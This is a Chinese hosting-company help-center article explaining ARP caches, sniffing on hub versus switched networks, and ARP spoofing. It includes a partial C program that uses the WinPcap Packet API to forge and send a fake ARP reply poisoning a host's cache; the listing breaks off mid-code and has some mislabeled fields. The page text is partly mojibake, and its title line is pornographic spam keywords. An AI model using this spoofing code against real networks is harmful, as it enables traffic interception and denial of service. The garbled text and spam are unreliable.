亚洲综合社区欧美综合色-欧美逼逼一区二区三区-国产老熟女高潮精品网站-国产日韩最新视频在线看

始創(chuàng)于2000年 股票代碼:831685
咨詢熱線:0371-60135900 注冊有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補償
全部產(chǎn)品
您的位置: 網(wǎng)站首頁 > 幫助中心>文章內容

實例講解如何對目標進行ARP欺騙

發(fā)布時間:  2012/6/17 21:42:10

以太網(wǎng)內的嗅探sniff對于網(wǎng)絡安全來說并不是什么好事,雖然對于網(wǎng)絡管理員能夠跟蹤數(shù)據(jù)包并且發(fā)現(xiàn)網(wǎng)絡問題,但是如果被破壞者利用的話,就對整個網(wǎng)絡構成嚴重的安全威脅。
ARP緩存表假設這樣一個網(wǎng)絡: 
 

E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left 
borderColorLight=black border=1> —————————— | HUB | —————————— HostA HostB HostC

其中:
A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
假設B是屬于一個嗅探愛好者的,比如A機器的ARP緩存:
C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic
這是192.168.10.1機器上的ARP緩存表,假設,A進行一次ping 192.168.10.3操作,PING主機C,會查詢本地的ARP緩存表,找到C的IP地址的MAC地址,那么就會進行數(shù)據(jù)傳輸,目的地就是C 的MAC地址。如果A中沒有C的ARP記錄,那么A首先要廣播一次ARP請求,當C接收到A 的請求后就發(fā)送一個應答,應答中包含有C的MAC地址,然后A接收到C的應答,就會更新本地的ARP緩存。接著使用這個MAC地址發(fā)送數(shù)據(jù)(由網(wǎng)卡附加MAC地址)。因此,本地高速緩存的這個ARP表是本地網(wǎng)絡流通的基礎,而且這個緩存是動態(tài)的。
集線器網(wǎng)絡(Hub-Based)
很多網(wǎng)絡都是用Hub進行連接的。數(shù)據(jù)包經(jīng)過Hub傳輸?shù)狡渌嬎銠C的時候,Hub只是簡單地把這個數(shù)據(jù)包廣播到Hub的所有端口上。這就是上面舉例中的一種網(wǎng)絡結構。
現(xiàn)在A需要發(fā)送TCP數(shù)據(jù)包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記錄,如果沒有那么A將要廣播一個ARP請求,當C接收到這個請求后,就作出應答,然后A更新自己的ARP緩存表。并獲得與C的IP相對應的MAC地址。這時就傳輸這個TCP數(shù)據(jù)包,Ethernet幀中就包含了C的MAC地址。當數(shù)據(jù)包傳輸?shù)紿UB的時候,HUB直接把整個數(shù)據(jù)包廣播到所有的端口,然后C就能夠接收到A發(fā)送的數(shù)據(jù)包。
正因為HUB把數(shù)據(jù)廣播到所有的端口,所以計算機B也能夠收到A發(fā)送給C的數(shù)據(jù)包。這正是達到了B嗅探的目的。因此,Hub-Based的網(wǎng)絡基本沒有安全可言,嗅探在這樣的網(wǎng)絡中非常容易。
交換網(wǎng)絡(Switched Lan)
交換機用來代替HUB,正是為了能夠解決HUB的幾個安全問題,其中就是能夠來解決嗅探問題。Switch不是把數(shù)據(jù)包進行端口廣播,它將通過自己的ARP緩存來決定數(shù)據(jù)包傳輸?shù)侥莻端口上。因此,在交換網(wǎng)絡上,如果把上面例子中的HUB換為Switch,B就不會接收到A發(fā)送給C的數(shù)據(jù)包,即便設置網(wǎng)卡為混雜模式,也不能進行嗅探。
ARP欺騙(ARP spoofing)
ARP協(xié)議并不只在發(fā)送了ARP請求才接收ARP應答。當計算機接收到ARP應答數(shù)據(jù)包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,在上面的假設網(wǎng)絡中,B向A發(fā)送一個自己偽造的ARP應答,而這個應答中的數(shù)據(jù)為發(fā)送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本來應該是CC-CC-CC-CC-CC-CC,這里被偽造了)。當A接收到B偽造的ARP應答,就會更新本地的ARP緩存(A可不知道被偽造了),F(xiàn)在A機器的ARP緩存更新了:
C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic
這可不是小事。局域網(wǎng)的網(wǎng)絡流通可不是根據(jù)IP地址進行,而是按照MAC地址進行傳輸。現(xiàn)在192.168.10.3的MAC地址在A上被改變成一個本不存在的MAC地址,F(xiàn)在A開始Ping 192.168.10.3,網(wǎng)卡遞交的MAC地址是DD-DD-DD-DD-DD-DD,結果是什么呢?網(wǎng)絡不通,A根本不能Ping通C!這就是一個簡單的ARP欺騙。
我們來實現(xiàn)這樣的ARP欺騙。這里需要使用一個WinPcap提供的API和驅動。(http://winpcap.polito.it/),winpcap是一個偉大而且開放的項目。Windows環(huán)境下的nmap、snort、windump都是使用的winpcap。

 

// ARP Sender
#include "stdafx.h"
#include "Mac.h" //GetMacAddr(),我寫的把字符串轉換為MAC地址的函數(shù),就不列在這里了
#include 
#include 
#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr 
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */
unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024]; 
char szPacketBuf[600];
char MacAddr[6];
LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;###NextPage###
//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != \0)||(*(temp-1) != \0))
{
if (*temp == \0) 
{
memcpy(AdapterList,temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList);
printf("\n");
//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一個網(wǎng)卡(假設啦)
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{

本文出自:億恩科技【1tcdy.com】

服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營性ICP/ISP證:贛B2-20080012
  • 服務器/云主機 24小時售后服務電話:0371-60135900
  • 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
  • 專注服務器托管17年
    掃掃關注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號
      0
     
     
     
     

    0371-60135900
    7*24小時客服服務熱線